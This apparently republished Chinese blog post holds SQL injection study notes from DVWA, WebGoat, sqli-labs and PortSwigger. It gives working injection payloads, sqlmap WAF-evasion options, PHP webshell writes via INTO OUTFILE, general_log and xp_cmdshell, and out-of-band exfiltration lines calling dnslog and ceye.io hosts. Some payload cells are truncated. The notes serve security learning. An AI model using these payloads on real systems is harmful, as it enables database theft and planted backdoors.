您的位置:首页 > 文旅 > 旅游 > 网站策划文案_连云港网站优化_高级seo_深圳竞价托管

网站策划文案_连云港网站优化_高级seo_深圳竞价托管

2025/4/19 6:38:50 来源:https://blog.csdn.net/m0_54657729/article/details/147041408  浏览:    关键词:网站策划文案_连云港网站优化_高级seo_深圳竞价托管
网站策划文案_连云港网站优化_高级seo_深圳竞价托管

文章目录

    • 一、DVWA
      • 0. Mysql与Mariasql
      • 1. 单/双引号 - 十六进制编码绕过
        • **原理:**
      • 2. limit 1的绕过
      • 3. 参数化查询绕过
        • 一、介绍
        • 二、PDO
          • 是一种PHP实现参数化查询的机制
        • 三、预编译绕过 之 结构化参数
      • 4. 反自动化手段 之 Anti-CSRF token
        • 静态:
        • 动态:
      • 5. SQL注入分类
        • 一、回显注入
          • 普通回显:
          • 报错回显:
        • 二、盲注
        • **回显细节:**
    • 二、WebGoat
      • 1. sqlmap的使用
        • 总结:
        • 2. JAVA的参数化查询 之 JDBC
    • 三、sqli labs
      • 1. 判断字符型还是数值型
      • 2. 判断列数的两种办法
      • 3. 普通回显注入 - 步骤
        • 细节:group_concat(concat_ws(0x3a 的作用
      • 4. 报错回显注入
        • 一、extractvalue
          • 注入步骤:
          • 其他类似函数:
      • 5. 导入导出文件
        • 一、说明
        • 二、条件
        • 三、判断
        • 四、执行
      • 6. 布尔手工盲注步骤
        • 一、确定猜的目标的长度
        • 二、逐个字符猜下去
      • 7. 时间盲注手工步骤
        • 一、类比
        • 二、常见条件延时语句
      • 8. 关于注释的选择:# 还是 --+
          • 建议:#只使用与post参数/http头、--+只使用与url参数/get请求
      • 9. 特殊字符转义的绕过 之 二次注入
        • 一、与编码绕过的关联
        • 二、二次注入原理
          • 成功条件:
      • 10. 部分特殊字符黑名单过滤绕过思路
        • 常见黑名单过滤处理:
      • 11. HPP 绕过 WAF
        • 一、WAF与后端参数解析的三种模式
        • 二、绕过条件
        • 三、XSS的利用
      • 12. 转义绕过 之 宽字节编码注入
        • 一、原理
          • 字节级解析过程
        • 二、产生条件
      • 13. 堆叠注入
        • 一、堆叠与union
        • 二、堆叠产生原理
      • 14. 排序盲注 - 特殊的布尔盲注
        • 一、产生原理
        • 二、注入技术
        • 三、盲注优先级
      • 15. sqli webshell汇总
    • 四、PortSwigger SQL
      • 1. 判断数据库类型方法
      • 2. SQLI数据外带 | **OOB**
        • 一、注入优先级
        • 二、不同数据库外带方式
      • 3. 不同数据库在sqli的差异

一、DVWA

0. Mysql与Mariasql

​ sql注入是分语言的,不同sql注入技巧也不同,比如你会mysql注入,未被会Oracle注入。如今mysql还是用的比较广泛的,sql注入也默认指的是mysql注入,而mariasql相当与mysql的开源版本,前者几乎完全兼容后者。

1. 单/双引号 - 十六进制编码绕过

原理:

静态内容自解码。几乎对于所有原本是使用字符串的地方/静态内容,都可以使用0x的十六进制代替,数据库会自动解码!

例:

SELECT username FROM Users UNION SELECT 0x61646D696E;
SELECT username FROM Users UNION SELECT 'admin';
场景是否自动解码示例
字符串比较(WHERE)✅ 是Name = 0x44617070657220506c7573
字符串函数(CONCAT)✅ 是CONCAT('A', 0x42) → ‘AB’
数值上下文✅ 是(转数值)ProductID = 0x31ProductID = 1
动态 SQL(EXECUTE)❌ 否需显式调用 UNHEX()

动态SQL:

​ 比如:SELECT username、FROM Users…,则不能编码

注:

​ 单/双引号编码绕过,不是对单/双引号进行编码,而是使用编码来代替需要单/双引号的字符串!

2. limit 1的绕过

后面跟条注释就行:

SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1' -- LIMIT 1;

3. 参数化查询绕过

一、介绍

参数化查询(Prepared Statements)也叫预编译,能够避免SQL注入的核心原理在于 查询结构与数据的彻底分离

参数化查询将SQL语句的执行分为两个独立阶段:

阶段操作内容关键特点
准备阶段发送SQL模板到数据库(含占位符如?:name数据库编译并优化SQL结构
执行阶段发送参数值到数据库,与已编译的模板结合参数仅作为数据处理

简而言之:

  1. 先将模板发送到数据库,这些被当作语句解析为结构,等待数据的到来
  2. 用户输入值,按照模板归坑,数据库对后来的这些参数,都以数据处理
二、PDO
是一种PHP实现参数化查询的机制

安全的配置:

$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
$stmt->execute();
三、预编译绕过 之 结构化参数

当你的payload确认是被参数化了,而且后端又没配置错误,基本上可以跑路了。但是,预编译语句的占位符只能替换数据值,不能用于表名、列名等结构部分,所以一定会遇到也一定有一些参数是没有被参数化的,遇到这种情况,如果后端没有做严格的白名单或者字符过滤的化,那么就能得逞。

比如:order by注入就是利用肯定不是参数化的思路进行的布尔盲注,回显的排序结果差异就是判断语句执行成功与否的标准

位置可以参数化无法参数化详细说明(附案例)
WHERE 条件✅ 是❌ 否可参数化
示例(安全):
SELECT * FROM users WHERE id = ?
绑定变量可防止SQL注入。
INSERT/UPDATE 值✅ 是❌ 否可参数化
示例(安全):
INSERT INTO users (name, email) VALUES (?, ?)
绑定变量可防止插入恶意数据。
ORDER BY❌ 否✅ 是不可参数化
示例(危险):
SELECT * FROM users ORDER BY ?
绑定变量在 ORDER BY 处无效,需使用白名单过滤。
GROUP BY❌ 否✅ 是不可参数化
示例(危险):
SELECT age, COUNT(*) FROM users GROUP BY ?
绑定变量不能用于 GROUP BY,应使用白名单。
LIMIT/OFFSET❌ 否✅ 是不可参数化
示例(危险):
SELECT * FROM users LIMIT ? OFFSET ?
MySQL 允许 CAST(? AS UNSIGNED) 规避部分风险,但仍建议强类型验证
UNION 语句❌ 否✅ 是不可参数化
示例(危险):
SELECT name FROM users UNION SELECT ?
绑定变量无法用于 UNION,需严格限制允许的查询结构。
表名(FROM 子句)❌ 否✅ 是不可参数化
示例(危险):
SELECT * FROM ? WHERE id = 1
表名不能参数化,需使用白名单限定可查询的表。
列名(SELECT 子句)❌ 否✅ 是不可参数化
示例(危险):
SELECT ? FROM users
列名不能使用参数化,应采用白名单映射
HAVING 子句❌ 否✅ 是不可参数化
示例(危险):
SELECT age, COUNT(*) FROM users GROUP BY age HAVING COUNT(*) > ?
需确保传入参数是数字,避免SQL注入。
JOIN 子句❌ 否✅ 是不可参数化
示例(危险):
SELECT users.name, orders.amount FROM users JOIN ? ON users.id = orders.user_id
JOIN 目标表名不能参数化,需使用白名单。
函数名❌ 否✅ 是不可参数化
示例(危险):
SELECT ?(column) FROM users
SQL 函数名不能参数化,应使用固定查询语句
存储过程调用参数✅ 是❌ 否可参数化
示例(安全):
CALL getUser(?)
绑定变量可用于存储过程调用,确保输入安全。
动态 SQL 语句❌ 否✅ 是不可参数化
示例(危险):
```EXECUTE 'SELECT * FROM ’
预编译语句参数✅ 是❌ 否可参数化
示例(安全):
预编译语句(Prepared Statements)可安全地绑定参数,如:
connection.prepare("SELECT * FROM users WHERE email = ?")
注释(–, #)❌ 否✅ 是不可参数化
示例(危险):
用户输入 test' -- 可能导致 SQL 注释掉后续部分,需严格过滤。
LIKE 语句模式匹配✅ 是❌ 否可参数化
示例(安全):
SELECT * FROM users WHERE name LIKE ?
但需注意 % 的处理,例如 LIKE CONCAT('%', ?, '%')

4. 反自动化手段 之 Anti-CSRF token

静态:

首次生成会话令牌,仅仅在生成session的时候生成token

// 当用户首次访问或会话开始时(通常在页面顶部或初始化脚本中)
function generateSessionToken() {if (empty($_SESSION['session_token'])) {$_SESSION['session_token'] = bin2hex(random_bytes(32)); // 生成32字节随机令牌}return $_SESSION['session_token'];
}// 示例:在页面加载时生成令牌(如HTML表单页)
generateSessionToken(); // 赋值给 $_SESSION['session_token']

只要页面不刷新,token就不过期,窃取到这个就能批量跑了。这一招针对CSRF还是可以的,因为你难获取受害者的token,但是针对自己想要自动化测试,那么直接拿到token就行了。

动态:

在比对完token之后,再随机生成,每次提交完表单,token都会变,难以批量测试,对盲注影响很大!

function checkToken() {if (hash_equals($_SESSION['session_token'], $_REQUEST['user_token'])) {$_SESSION['session_token'] = bin2hex(random_bytes(32)); // 重新生成return true;}return false;
}

5. SQL注入分类

一、回显注入
普通回显:
  1. SQL语句执行的result直接可以回显看见

技巧:

​ 使用union select 1,2,3…,直接看1,2,3…这些数字哪个回显在哪里,然后用函数替换就行

报错回显:
1. 语句正确执行result不回显,执行发送错误回显1. 这里的错误不是语句语法错误,而是语义错误,是执行了然后报错,不是压根就是错误的语句执行不了
2. 报错的输出是可控的,而不是固定死的
二、盲注

布尔Blind:

​ 不是回显result,而是你可以通过回显知道,SQL语句执行成功还是失败

时间Blind:

​ 管语句执行成功还是失败,都返回相同结果,或者丫的直接不跟你回显了

​ 有回显我们可以通过回显时间判断,无回显则可以通过返回包的响应时间来判断


回显细节:

​ 像XSS一样,我们寻找的注入点和注意的回显都不是当指的页面,而是针对请求包和放回包,可能回显没有在返回体里,而是在其他地方,也可以回显在返回体里,但是没有显示在页面里。

二、WebGoat

1. sqlmap的使用

  1. 只推荐用 -r 参数从文件加载 HTTP 请求

  2. 推荐指定 --technique 参数,具体的注入方法,为了加快注入效率

    标识符技术名称
    B布尔盲注 (Boolean-based Blind)
    E报错注入 (Error-based Injection)
    U联合查询注入 (UNION-based Injection)
    S堆叠注入 (Stacked Queries)
    T时间盲注 (Time-based Blind)
  3. 注入参数的指定

    1. -p 只注入

      python3 sqlmap.py -r request.txt -p "username,password"
      
    2. *在txt文件中

      POST /search.php HTTP/1.1
      Host: example.com
      Content-Type: application/x-www-form-urlencodedid=1*&name=admin*
      
  4. –level与参数的指定,**优先级 > -p / ***,建议为默认,这样可控!

    影响范围--level=1 (默认)--level=2+--level=3+--level=4+--level=5
    测试参数(如 id
    Cookie 参数
    User-Agent / Referer 头
    测试 JSON/XML 数据
    更复杂的 payload
  5. –risk,控制注入payload危险程度:查询 -> 修改 -> 删除,建议默认!

    影响范围–risk=1 (默认)–risk=2+–risk=3+
    安全的 payload(如 AND 1=1
    可能影响数据库的数据(如 INSERTUPDATE
    高风险操作(如 DROP TABLEDELETE
    更复杂的 UNION SELECT payload
    基于时间的 SQL 注入(如 SLEEP()BENCHMARK()
    使用 ; 执行多个 SQL 语句(堆叠注入)
    文件操作(如 LOAD_FILE() 读取文件)
    影响系统级的 SQL(如 xp_cmdshell 执行系统命令)
  6. –proxy参数,建议配置,指定bp代理监控数据 + 指定代理节点防止真实IP被封

    python3 sqlmap.py -r request.txt --proxy="http://127.0.0.1:8080"
    
  7. –tamper参数,对payload的编码,绕过WAF,指定脚本都是自带的,也可以自写

    python3 sqlmap.py -r request.txt --tamper=space2comment
    
    Tamper 脚本功能描述
    space2comment空格转换为 SQL 注释 (/**/),绕过拦截空格的 WAF
    randomcase随机大小写,绕过基于大小写匹配的 WAF
    charencodeURL 编码特殊字符,避免直接被拦截
    apostrophemask替换单引号 ('),绕过 WAF 对引号的拦截
    between使用 BETWEEN 替代 = 进行条件判断
    equaltolikeLIKE 替代 = 进行条件查询
    greater> 替换 =,适用于数值型字段绕过 WAF
    ifnull2ifisnullIF(ISNULL()) 替换 IFNULL()
    modsecurityversioned绕过 ModSecurity WAF 规则的特定变形
    multiplespaces在 SQL 语句中插入多个空格 以绕过基于空格的检测
    nonrecursivereplacementREPLACE() 进行字符串替换
    percentage% 替换某些字符,以绕过关键字检测
    space2plus+ 替换空格,常用于 URL 传参
    space2dash--(单行注释)替换空格
    unionalltounionUNION 代替 UNION ALL
    unmagicquotes绕过 magic_quotes 机制的转义
    uppercase将 SQL 关键字转换为大写
    varnish绕过 Varnish 反向代理的 SQL 过滤规则
  8. –dbms,指定数据库,加快注入效率,建议配置

    python3 sqlmap.py -r request.txt --dbms=mysql
    
  9. –random-agent,推荐指定随机UA头,减少被风控几率

总结:
  1. BP复制请求包,保存->request.txt,插入*指定注入参数,如果很少就不需要,直接-p指定就行

  2. 执行

    python3 sqlmap.py -r request.txt -p="xxx,xxx" --technique=xxx --dbms=xxx --proxy="BP地址,代理地址" --random-agent --tamper=xxx,xxx
    
2. JAVA的参数化查询 之 JDBC

在 Java 中,预编译 SQL 语句的机制主要通过 JDBC(Java Database Connectivity)PreparedStatement 接口实现。

// 使用 try-with-resources 自动关闭资源(Java 7+)
try (Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);      // 自动关闭连接PreparedStatement ps = conn.prepareStatement("select * from users where name=?")) { // 自动关闭Statementps.setString(1, "zy");  // 参数化赋值try (ResultSet rs = ps.executeQuery()) {  // 自动关闭ResultSet// 处理查询结果while (rs.next()) {String username = rs.getString("name");System.out.println("User: " + username);}}} catch (SQLException e) {  // 精准捕获数据库异常e.printStackTrace();    // 实际应记录日志或处理异常System.out.println("数据库操作失败: " + e.getMessage());
}

三、sqli labs

1. 判断字符型还是数值型

输入:正常内容' --+正常 -> 字符报错 -> 数字

2. 判断列数的两种办法

?id=1' union select 1,2,3,4 --+
?id=1' order by 4--+

3. 普通回显注入 - 步骤

  1. 确定列数与回显与否

    ?id=1' union select 1,2,3,...--+
    
  2. inforamtion_schema 查当前数据库中 所有表

    id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()),3--+
    
  3. inforamtion_schema 查看当前数据库 所有表的 所有字段 (因为你不知道在哪张表里)

    id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= '表1'),3--+
    
    id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= '表2'),3--+
    

  4. 有了每张表的名称,字段,想查什么查什么

    ?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+
    
细节:group_concat(concat_ws(0x3a 的作用

假如表是:

username | password
---------|----------
admin    | admin123
user1    | pass1234

查询结果:

admin:admin123,user1:pass1234

为什么是0x3a:

​ 是’:‘的16进制/ascii编码,前面说了,sql中任何原本可以是字符串的静态内容,都可以使用16进制编码,因为会自动解码,编码是为了以防后端对’、:进行过滤。

4. 报错回显注入

一、extractvalue
-- 正常用法
SELECT EXTRACTVALUE('<a><b>X</b><b>Y</b></a>', '//b[1]');  -- 返回 'X'
其中第一个是XML文档、第二个是XPATH表达式

当提供的 XPath 表达式无效时会出现此错误:

ERROR 1105 (HY000): XPATH syntax error: 'invalid expression'

比如:

SELECT EXTRACTVALUE('<a><b>X</b><b>Y</b></a>', '~b~');
ERROR 1105 (HY000): XPATH syntax error: '~b~'

可是为什么:

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ 

不报:

ERROR 1105 (HY000): XPATH syntax error: 'concat(0x7e,(select database()),0x7e)‘

而是报:

ERROR 1105 (HY000): XPATH syntax error: '~database.name~‘

原因:

​ extractvalue在执行之前会将参数中XPATH表达式先执行,然后再用结果去匹配XML,报错的时候invalid expression是执行后的结果,而不是原始的XPATH表达式。

注入步骤:
  1. 发现普通回显不行
  2. 找到一个能够报错回显的函数
  3. 走普通回显注入步骤
其他类似函数:
updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

5. 导入导出文件

一、说明

​ mysql支持通过sql语句进行导入/导出文件,导入的话就直接可以 sqli -> webshell了,而导出的话也可以读取服务器上很多敏感的配置文件。

二、条件
1. 权限为root
2. secure_file_priv=空
3. 知道网站的物理路径 | 因为导入导出文件是必须要绝对路径的MySQL不接受相对路径
三、判断
  1. 判断是否是root连接
SELECT CURRENT_USER(), USER();
  1. 判断secure_file_priv是否为空 | 不是NULL,NULL就是绝对禁止导入/导出
SHOW VARIABLES LIKE 'secure_file_priv';

secure-file-priv 参数,它是一个启动时加载的只读变量,不允许连接中修改,只能通过my.cnf/ini文件修改,然后重新启动mysql。

四、执行

​ 如果非常幸运条件都满足,尝试导入一句话木马

SELECT 1 INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY '<?php @eval($_POST[cmd]);?>';
select 1,"<?php @eval($_POST[cmd]);?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+

6. 布尔手工盲注步骤

一、确定猜的目标的长度
?id=1' and (select length(database())>1) and 1=1  --+ true
?id=1' and (select length(database())>10) and 1=1  --+  flase
?id=1' and (select length(database())>5) and 1=1  --+ true
?id=1' and (select length(database())>6) and 1=1  --+ true
?id=1' and (select length(database())>8) and 1=1  --+ flase
二、逐个字符猜下去

猜第一个字符:

?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true 
?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ false

猜第二个字符:

?id=1' and ((select ascii(substr(database(),2,1)))>100) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),2,1)))>200) and 1=1 --+ flase
...
?id=1' and ((select ascii(substr(database(),2,1)))>114) and 1=1 --+ true 
?id=1' and ((select ascii(substr(database(),2,1)))>116) and 1=1 --+ false

猜完目标长度。

7. 时间盲注手工步骤

一、类比

报错回显注入的步骤 = 找到一个合适的报错函数,插入可控的报错payload + 普通回显注入步骤

同理:

时间盲注手工步骤 = 找到一个可以通过条件控制延时的函数/结构化语句,将布尔盲注的payload插入条件中 + 布尔盲注手工步骤

二、常见条件延时语句
语法:IF(condition, value_if_true, value_if_false)

例:

?id=1' and if(length(database())=1,sleep(5),1)--+ 延时

8. 关于注释的选择:# 还是 --+

建议:#只使用与post参数/http头、–+只使用与url参数/get请求
因为--后面必须跟一个+也就是空格的url编码注释才能生效,而post参数中,只有content-type=application/x-www-form-urlencoded的情况才会url编码,也就是没问题,但是如果是其他情况就会出错。

所以post使用#一定不会出错,而url/get使用–+也一定不会出错!

9. 特殊字符转义的绕过 之 二次注入

一、与编码绕过的关联

​ 之前提到对于’、"的转义或者过滤可以使用16禁止编码绕过。但是这个只是针对与静态内容,比如原本就是字符串或者数值。并且编码是不包括引号本身的。

​ 而二次注入对’等特殊字符的转义的绕过是针对结构化参数,这个’的作用就是用于闭合的,而不是用于字符串!

二、二次注入原理
用户输入 → PHP转义 → 构建SQL → MySQL解析 → 存储纯数据
"admin'" → "admin\'" → "INSERT...('admin\')" → 解析为"admin'" → 存储"admin'"

​ 显然,二次注入是用于绕过对特殊字符的转义,一定得是转义,不能是置空或者其他过滤!不管是对于老的过滤函数还是新的参数化处理,对特殊字符的处理都是转义。

成功条件:

​ 对从 数据库直接读出的参数 过滤不严格

比如:

  1. 如果后端采用的是参数化查询
    1. 对于可以参数化的静态内容,没有全部参数化查询处理
    2. 对于不可以参数化的结构参数,没有额外使用转义函数进行转义就插入语句执行
  2. 没有采用参数化查询
    1. 从任何地方读出的参数没有进行转义就插入语句执行,都有注入风险
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);if($pass==$re_pass)
{	$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

其中username就有二次注入风险!

10. 部分特殊字符黑名单过滤绕过思路

常见黑名单过滤处理:
function blacklist($id)
{$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		//Strip out --$id= preg_replace('/[#]/',"", $id);			//Strip out #$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashesreturn $id;
}
  1. 大小写不敏感绕过 | sql是大小写不敏感的

    如:or可以使用Or;and可以使用And绕过
    

    注:正则 /i 表示大小写不区分,这里就没用了

  2. 双写绕过

    preg_replace('/or/i', "", $id) 
    

    为什么不能是oror:而是oorr,关键在于正则表达式的匹配行为:它从左到右扫描字符串,找到一个匹配后,会跳过已匹配的部分,继续寻找下一个非重叠的匹配。

  3. 空格 过滤 绕过

    1. 使用() | 在 SQL 解析器的规则下,某些情况下 括号 () 可以充当空格的作用

      SELECT( * )FROM(users)WHERE(username='admin')AND(password='123456');
      
    2. 使用换行符代替 | 数据库引擎通常将换行符视为空格

      SELECT * FROM users WHERE id = '100'\nUNION\nSELECT 1,2,3
      SELECT * FROM users WHERE id = '100'\r\nUNION\r\nSELECT 1,2,3 
      

11. HPP 绕过 WAF

HPP = http请求的参数污染注入

一、WAF与后端参数解析的三种模式
模式类型检测策略可被 HPP 绕过性能影响NginxApacheTomcatSpring Boot
Last-Value只检查最后出现的参数可绕过🔹 ✅ 默认✅ 默认✅ 默认✅ 默认
First-Value只检查第一个参数可绕过🔹 ✅ 可配置
All-Values检查所有重复参数不可绕过🔺 ✅ 可配置✅ 可配置✅ 可配置✅ 可配置
  1. Last-Value 模式(默认模式):大多数 Web 服务器(如 Nginx、Apache、Tomcat)默认采用,只保留最后一个参数值。

    • 示例id=1&id=2 解析结果为 id=2
    • 风险:攻击者可以注入额外参数,绕过 WAF 或后端安全校验。
  2. First-Value 模式(较少见):只取第一个参数值,通常需要手动配置。

    • 示例id=1&id=2 解析结果为 id=1
    • 风险:部分 API 可能因参数覆盖导致逻辑漏洞。
  3. All-Values 模式(最严格):收集所有相同参数值并解析成数组,避免 HPP 绕过。

    • 示例id=1&id=2 解析结果为 id=[1,2]
    • 风险:性能开销较高,部分应用可能不兼容。
二、绕过条件

​ 只要WAF没有采用全解析并且和后端解析的参数不一致就会照成HPP

三、XSS的利用

​ 显然HPP也能用在XSS中绕过WAF

12. 转义绕过 之 宽字节编码注入

与二次注入一样,宽字节编码也是专门针对转义绕过的!

一、原理
字节级解析过程
  1. 输入流程:

    • 用户输入:%BF%27 (0xBF + '的ASCII 0x27)
    • 转义处理:系统添加反斜杠 → %BF%5C%27 (0xBF + 0x5C + 0x27)
  2. GBK解码:

    复制

    0xBF 0x5C → 汉字"縗"
    0x27 → 独立单引号
    
二、产生条件
条件技术细节示例
双字节编码环境必须使用GBK、GB2312、BIG5等编码SET NAMES 'GBK'
有效高位字节前导字节必须在特定范围: • GBK: 0x81-0xFE • BIG5: 0xA1-0xF90xBF(有效) 0x70(无效)
转义函数介入存在addslashes()或类似函数添加0x5C'\'(0x5C 0x27)
合法字符组合0x5C必须能与前字节组成有效字符0xBF 0x5C→"縗"

13. 堆叠注入

一、堆叠与union
  1. union只能用于查询,并且受之前查询结构的影响;
  2. 堆叠能执行任何sql语句。
二、堆叠产生原理
  1. 后端使用了例如:mysqli_multi_query的函数
  2. sql语句可被闭合

14. 排序盲注 - 特殊的布尔盲注

一、产生原理
  1. payload出现在 ORDER BY后面
二、注入技术
  1. rank(seed)伪随机 | 不推荐因为不可靠,说是伪随机,可能不是伪的

    ORDER BY RAND(ASCII(SUBSTR(database(),1,1))>100)
    
    • 如果条件为真 → RAND(1) → 固定序列A
    • 如果条件为假 → RAND(0) → 固定序列B
  2. 直接跟条件判断

    ORDER BY IF(ASCII(SUBSTR(database(),1,1))>100,column1,column2)
    
  3. 降级为时间盲注

    ORDER BY IF(ASCII(SUBSTR(database(),1,1))>100,1,SLEEP(2))
    

    or

    ?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
    
三、盲注优先级

​ 传统布尔/排序盲注 > RAND()排序盲注 > 时间盲注

15. sqli webshell汇总

方法编号写入方式示例 Payload描述
1UNION SELECT INTO OUTFILE1' UNION SELECT 1,"<?php @eval($_POST['cmd'])?>" INTO OUTFILE '/var/www/html/x.php'--+常规写入方式,适用于联合注入
2LINES TERMINATED BYINTO OUTFILE '/var/www/html/x.php' LINES TERMINATED BY '<?php phpinfo(); ?>'--+每行末尾写入 payload
3LINES STARTING BYINTO OUTFILE '/var/www/html/x.php' LINES STARTING BY '<?php phpinfo(); ?>'--+每行开头写入 payload
4FIELDS TERMINATED BYINTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'--+字段之间插入 payload
5COLUMNS TERMINATED BYINTO OUTFILE '/var/www/html/x.php' COLUMNS TERMINATED BY '<?php phpinfo(); ?>'--+同上,语法变体
6DUMPFILE 写入SELECT "<?php...?>" INTO DUMPFILE '/var/www/html/x.php';一次写入,无换行
7HEX 编码写入SELECT 0x3c3f70687020... INTO OUTFILE '/var/www/html/x.php';绕过 WAF 过滤关键字
8CONCAT 拼接写入SELECT CONCAT("<?php ","eval($_POST[cmd]); ?>") INTO OUTFILE '/var/www/html/x.php';拼接绕过
9general_log 写入SHOW VARIABLES LIKE ‘%general%’;
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = ‘/var/www/html/x.php’;
SELECT ‘<?php @eval($_POST["cmd"]); ?>’;
SET GLOBAL general_log = OFF;
利用 MySQL 日志写入 shell

四、PortSwigger SQL

1. 判断数据库类型方法

特征项MySQLOracleSQL ServerPostgreSQLSQLite
注释#, -- , /* */--, /* */--, /* */--, /* */--, /* */
字符串连接CONCAT(), 'a' 'b'``+
版本查询@@versionv$version@@VERSIONVERSION()sqlite_version()
系统表information_schemaall_tablessysobjectspg_catalogsqlite_master
当前用户USER()SELECT user FROM dualSYSTEM_USERCURRENT_USER-
时间延迟SLEEP()DBMS_LOCK.SLEEP()WAITFOR DELAYpg_sleep()-
错误前缀“You have an error”“ORA-”“Msg”“ERROR:”“SQLite error:”

2. SQLI数据外带 | OOB

一、注入优先级

​ 普通回显注入 > 报错回显注入 > 数据外带回显注入 > 盲注(传统布尔/排序盲注 > RAND()排序盲注 > 时间盲注)

二、不同数据库外带方式
数据库外带方式核心函数 / 技术示例 Payload说明与限制
OracleXML 外部实体 (XXE)XMLType + EXTRACTVALUE```sql
SELECT EXTRACTVALUE(xmltype(‘<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % a SYSTEM "http://’
UTL_HTTPUTL_HTTP.REQUEST```sql
SELECT UTL_HTTP.REQUEST(‘http://’
DBMS_LDAPDBMS_LDAP.INIT```sql
SELECT DBMS_LDAP.INIT((SELECT user
HTTPURITYPEHTTPURITYPE.GETCLOB()```sql
SELECT HTTPURITYPE(‘http://’

数据库外带方式核心函数 / 技术示例 Payload说明与限制
MySQLDNS 外带LOAD_FILE + DNSLogsql<br>SELECT LOAD_FILE(CONCAT('\\\\',(SELECT user),'\\.x.dnslog.cn\\abc'));<br>✅ DNS 请求能触发外带;适合无回显盲注
Lib_mysqludf_http安装插件 lib_mysqludf_http```sql
SELECT http_get(‘http://x.dnslog.cn/?data=’
INTO OUTFILESELECT ... INTO OUTFILEsql<br>SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';<br>⚠️ 不算外带,但能落地写 shell;需文件写权限

数据库外带方式核心函数 / 技术示例 Payload说明与限制
PostgreSQLDNS 外带COPY ... TO PROGRAMsql<br>COPY (SELECT user) TO PROGRAM 'curl http://`user`.x.ceye.io';<br>⚠️ 高版本已禁用,需 superuser 权限
dblink 外带dblink_connect_usql<br>SELECT * FROM dblink_connect_u('host=attacker ...')<br>⚠️ 默认未安装,需 superuser,原理类似 SSRF
插件写 shellCOPY 写文件sql<br>COPY (SELECT '<?php ... ?>') TO '/var/www/html/1.php';<br>⚠️ 需写权限,不属于 OOB,但常用于落地利用

数据库外带方式核心函数 / 技术示例 Payload说明与限制
MSSQLDNS 外带xp_dirtreesql<br>EXEC master..xp_dirtree '\\\\' + (SELECT user_name()) + '.x.dnslog.cn\\abc';<br>✅ DNSLog 平台可收信号;兼容性好,经典技巧
HTTP 外带sp_oacreate + WinHTTPsql<br>DECLARE @o INT;<br>EXEC sp_oacreate 'MSXML2.XMLHTTP', @o OUT;<br>EXEC sp_oamethod @o, 'open', NULL, 'GET','http://x.dnslog.cn', false;<br>EXEC sp_oamethod @o, 'send';<br>⚠️ OLE 自动化必须开启;高权限才可使用
文件写入落地bcp / xp_cmdshellsql<br>EXEC xp_cmdshell 'echo ^<%php system($_GET["cmd"]); ?^> > C:\\inetpub\\wwwroot\\shell.php';<br>⚠️ 需开启 xp_cmdshell,高危指令,常用于提权或打点

3. 不同数据库在sqli的差异

操作类型MySQLPostgreSQLMSSQLOracle
单引号闭合' OR '1'='1' OR '1'='1' OR '1'='1' OR '1'='1
字符串拼接'abc' + 'def'
CONCAT('abc','def')
`‘abc’‘def’` ✅
单行注释--+ / #------
多行注释/* comment *//* comment *//* comment *//* comment */
获取数据库SELECT database()SELECT current_database()SELECT db_name()SELECT ora_database_name FROM dual
获取用户SELECT user()SELECT current_userSELECT SYSTEM_USERSELECT user FROM dual
获取表名information_schema.tablesinformation_schema.tablesinformation_schema.tablesALL_TABLES / USER_TABLES
时间延迟注入SLEEP(5)pg_sleep(5)WAITFOR DELAY '0:0:5'dbms_lock.sleep(5)
报错注入函数UPDATEXML(1,concat(1,(SELECT user())),1)CAST((SELECT current_user) AS INT) ⚠️CONVERT(INT, (SELECT SYSTEM_USER)) ⚠️EXTRACTVALUE(XMLTYPE(...)) / UTL_INADDR ⚠️
盲注判断 IFIF(condition, true, false)CASE WHEN condition THEN 1 ELSE 0 ENDIIF(condition, true, false)CASE WHEN condition THEN 1 ELSE 0 END
布尔盲注样例' AND 1=1 --+
' AND 1=2 --+
同左同左同左
时间盲注样例' AND IF(1=1, SLEEP(5), 0)--+' AND CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END--' IF (1=1) WAITFOR DELAY '0:0:5'--' AND CASE WHEN 1=1 THEN dbms_lock.sleep(5) ELSE 0 END FROM dual
堆叠注入支持✅(默认支持)✅(默认支持)✅(默认支持)❌(不支持多语句,需要绕过,如 dbms_scheduler
